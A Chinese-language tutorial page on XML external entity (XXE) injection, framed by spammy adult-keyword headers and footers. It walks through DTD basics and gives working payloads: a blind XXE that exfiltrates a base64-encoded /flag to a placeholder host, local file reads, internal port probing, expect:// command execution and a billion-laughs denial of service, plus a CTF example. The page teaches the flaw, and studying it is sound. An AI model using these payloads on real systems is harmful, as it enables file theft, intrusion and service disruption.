色综合图-色综合图片-色综合图片二区150p-色综合图区-玖玖国产精品视频-玖玖香蕉视频

您的位置:首頁技術(shù)文章
文章詳情頁

XML實體注入深入理解

瀏覽:213日期:2022-06-04 10:02:42
目錄
  • 引文
  • 簡介
  • 基礎(chǔ)知識
    • DTD
    • 內(nèi)部DOCTYPE聲明
  • XML實體注入
    • 無回顯XXE(BLIND XXE)
    • 讀取任意文件
    • 探測內(nèi)網(wǎng)端口
    • 命令執(zhí)行
    • dos拒絕服務(wù)
  • 例題
    • 結(jié)語

      引文

      在平常的WEB滲透中,我們經(jīng)常會遇到SQL注入、文件上傳、SSRF、CSRF等一系列的漏洞,但XXE漏洞在座的讀者們了解過嗎。今天帶大家了解一下這個危險程度同樣很高的XXE漏洞。

      簡介

      Xml外部實體注入漏洞(XML External Entity Injection)簡稱XXE,XXE漏洞發(fā)生在應(yīng)用程序解析XML輸入時,沒有禁止外部實體的加載,導(dǎo)致可以構(gòu)造加載惡意外部文件,進而通過惡意外部文件對服務(wù)器進行攻擊。

      基礎(chǔ)知識

      在了解XXE漏洞前,我們先看看什么是XML實體。XML根據(jù)簡單概括為如下:可擴展標(biāo)記語言 (Extensible Markup Language, XML) ,標(biāo)準(zhǔn)通用標(biāo)記語言的子集,可以用來標(biāo)記數(shù)據(jù)、定義數(shù)據(jù)類型,是一種允許用戶對自己的標(biāo)記語言進行定義的源語言。 XML是標(biāo)準(zhǔn)通用標(biāo)記語言 可擴展性良好,內(nèi)容與形式分離,遵循嚴(yán)格的語法要求,保值性良好等優(yōu)點。

      可能單看文字讀者們不太好理解,下面給大家簡單舉個例子:

      上圖就是一個簡單的XML實體,用代碼顯示可以展示為:

      <bookstore>     <book category="COOKING">     <title lang="en">Everyday Italian</title>    <author>Giada De Laurentiis</author>     <year>2005</year>    <price>30.00</price>    </book>    <book category="CHILDREN">     <title lang="en">Harry Potter</title>     <author>J K. Rowling</author>     <year>2005</year>     <price>29.99</price>    </book>    <book category="WEB">     <title lang="en">Learning XML</title>     <author>Erik T. Ray</author>     <year>2003</year>    <price>39.95</price>     </book></bookstore>

      其中根的元素是 bookstore,book中 元素有子元素:author、title、year、price。

      DTD

      DTD(文檔類型定義)可以合法的定義xml標(biāo)簽,DTD 可被成行地聲明于 XML 文檔中,也可作為一個外部引用,接下來帶大家詳細(xì)看一下它的內(nèi)部結(jié)構(gòu)以更好的去理解。

      內(nèi)部DOCTYPE聲明

      <?xml version="1.0"?><!DOCTYPE note[<!--定義此文檔是 note 類型的文檔--><!ELEMENT note (to,from,heading,body)>       <!--定義note元素有四個元素--><!ELEMENT X (#PCDATA)>   <!ELEMENT I (#PCDATA)>     <!ELEMENT N (#PCDATA)>     <!ELEMENT O (#PCDATA)>     ]><note><to>I</to><from>A</from><head>M</head><body>XINO!</body></note>

      外部DOCTYPE聲明

      <!DOCTYPE 根元素 SYSTEM "URL">

      XML實體注入

      了解了上面的基礎(chǔ)知識后,我們便可以進一步學(xué)習(xí)XXE漏洞。

      我們要想利用,首先要判斷服務(wù)器會不會解析XML實體,所以開始時我們先上傳一個測試文件來判斷服務(wù)器是否能解析該類型,如果解析了,我們才可以繼續(xù)利用這個漏洞。

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY name "hello">]><root>&name;</root>

      判斷服務(wù)器是否解析之后我們可以看看是否支持外部實體調(diào)用:

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [ <!ENTITY name SYSTEM "vps/hack.dtd">]><root>&name;</root>

      判斷完之后就可以做進一步測試了,比如:

      無回顯XXE(BLIND XXE)

      我們將獲取的數(shù)據(jù)發(fā)送到外部的http服務(wù)器上,后面查看http服務(wù)器即可查看到提取的數(shù)據(jù)內(nèi)容。

      舉一個最簡單的例子:

      #test.xml<!ENTITY % all"<!ENTITY &#x25; send SYSTEM "http://xxx.xxx.xxx.xxx/x.php?1=%file;"">%all;

      對應(yīng)的payload可以寫作為:

      <!DOCTYPE ANY[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/test.xml">%remote;%send;]>

      首先對 remote 引用的目的是將外部文件 test.xml 引入到文中,檢測到 send 實體,在節(jié)點中引用 send,就可以成功實現(xiàn)數(shù)據(jù)轉(zhuǎn)發(fā)。也就實現(xiàn)了數(shù)據(jù)的外帶。

      讀取任意文件

      這個也是XXE比較常用的方法,我們引入(或編輯)一個DOCTYPE元素,該元素定義一個包含文件路徑的外部實體。

      探測內(nèi)網(wǎng)端口

      我們利用XXE也可以進行內(nèi)網(wǎng)探測端口(類似于SSRF),以用來進一步對機器照成攻擊:

      <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY><!ENTITY xxe SYSTEM "http://127.0.0.1:80">]><root>

      命令執(zhí)行

      這個還是比較少見的,因為命令執(zhí)行的條件比較苛刻,要求靶機php裝有expect擴展,但這個擴展是默認(rèn)不安裝的,所以比較難利用。

      <?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]><root><name>&xxe;</name></root>

      dos拒絕服務(wù)

      這個不是很了解,在網(wǎng)上瀏覽時注意到的,原理大概是利用迭代參數(shù)實體進行拒絕服務(wù),讓服務(wù)器的解析變得非常非常慢。

      <?xml version="1.0"?><!DOCTYPE xml [<!ENTITY xxe1 "xxe"><!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;"><!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;"><!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;"><!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;"><!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;">]><test>&xxe6;</test>

      例題

      [PHP]XXE

      打開是一個登錄界面:

      在源碼處會發(fā)現(xiàn):

      <button id="go" onclick="XMLFunction()">GO!</button>

      可以判斷會解析XML文件,嘗試構(gòu)造payload直接讀取文件:

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY admin SYSTEM "file:///flag">]><root><username>&admin;</username><password>xino</password></root>

      抓包構(gòu)造惡意數(shù)據(jù)然后發(fā)包:

      結(jié)語

      今天比較詳細(xì)的講了XXE漏洞的原理以及應(yīng)用方法,有興趣的小伙伴可以自己去搭建靶機來進行測試,以上就是XML實體注入深入理解的詳細(xì)內(nèi)容,更多關(guān)于XML實體注入的資料請關(guān)注其它相關(guān)文章!

      標(biāo)簽: XML/RSS
      主站蜘蛛池模板: 国产一区精品在线 | 日本一在线中文字幕天堂 | 国产精品热久久毛片 | 免费人成观看在线网 | 99久久成人国产精品免费 | 另类视频区第一页 | 久久久久99精品成人片三人毛片 | 亚州免费一级毛片 | 久久精品一区二区三区四区 | 国产精品久久在线观看 | 欧美一级成人免费大片 | 日本暖暖在线视频 | 午夜久久视频 | 亚洲国产一区二区三区四区 | 国产激情久久久久久影院 | 国产精品九九 | 久久精品国产一区二区三区不卡 | 三级国产三级在线 | 浮力影院网站午夜 | 国产在线一区二区三区欧美 | 国产手机在线视频放线视频 | 黄色美女免费 | 外国三级毛片 | 国产精品一区二区久久精品 | 一本三道a无线码一区v小说 | 国产色啪午夜免费视频 | 中文字幕成人在线观看 | 久久这里只有精品视频99 | 国产三级a三级三级天天 | 高清不卡毛片免费观看 | 在线观看免费视频网站色 | 三级毛片免费 | 呦女精品视频 | 99视频在线精品 | 欧美久久久久 | 亚洲成av人影片在线观看 | 99精品网 | 99视频免费观看 | 久久精品国产精品亚洲综合 | 国产三级三级三级三级 | 免费国产成人18在线观看 |